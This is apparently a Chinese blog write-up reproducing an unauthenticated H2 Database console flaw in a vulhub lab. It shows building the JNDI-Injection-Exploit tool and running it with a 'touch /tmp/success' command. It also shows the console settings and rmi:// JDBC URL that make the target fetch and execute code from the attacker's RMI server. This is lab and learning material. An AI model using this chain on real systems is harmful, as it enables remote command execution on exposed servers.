天天看點

H2 Database Console 未授權通路複現

漏洞概述:

H2 database是一款Java記憶體資料庫,多用于單元測試。H2 database自帶一個Web管理頁面,在Spirng開發中,如果我們設定如下選項,即可允許外部使用者通路Web管理頁面,且沒有鑒權:

spring.h2.console.enabled=true

spring.h2.console.settings.web-allow-others=true

利用這個管理頁面,我們可以進行JNDI注入攻擊,進而在目标環境下執行任意指令。

環境搭建

使用vulhub來安裝環境

進入h2database//h2-console-unacc目錄

docker-compose

build

docker-compose up -d

H2 Database Console 未授權通路複現

通路http://your-ip:8080/h2-console即可檢視到H2 database的管理頁面。

H2 Database Console 未授權通路複現

漏洞複現

Poc位址:

https://github.com/welk1n/JNDI-Injection-Exploit/#examples
           

使用git拉取,并用maven編譯——安裝maven教程:https://www.cnblogs.com/datangguott/p/14211357.html

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git              cd JNDI-Injection-Exploit              mvn clean package -DskipTests
           
H2 Database Console 未授權通路複現

編譯好後,進入target目錄,運作jar

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 127.0.0.1
           
H2 Database Console 未授權通路複現
Driver Class:填javax.naming.InitialContext
JDBC URL填rmi://127.0.0.1:1099/cziwap
           

然後連接配接

H2 Database Console 未授權通路複現

這裡測試了一下,沒成功,我又把127.0.0.1改成了自己的主機IP:

H2 Database Console 未授權通路複現
H2 Database Console 未授權通路複現

指令已經執行——即POC中的

H2 Database Console 未授權通路複現
H2 Database Console 未授權通路複現

修複建議

更新到安全版本

繼續閱讀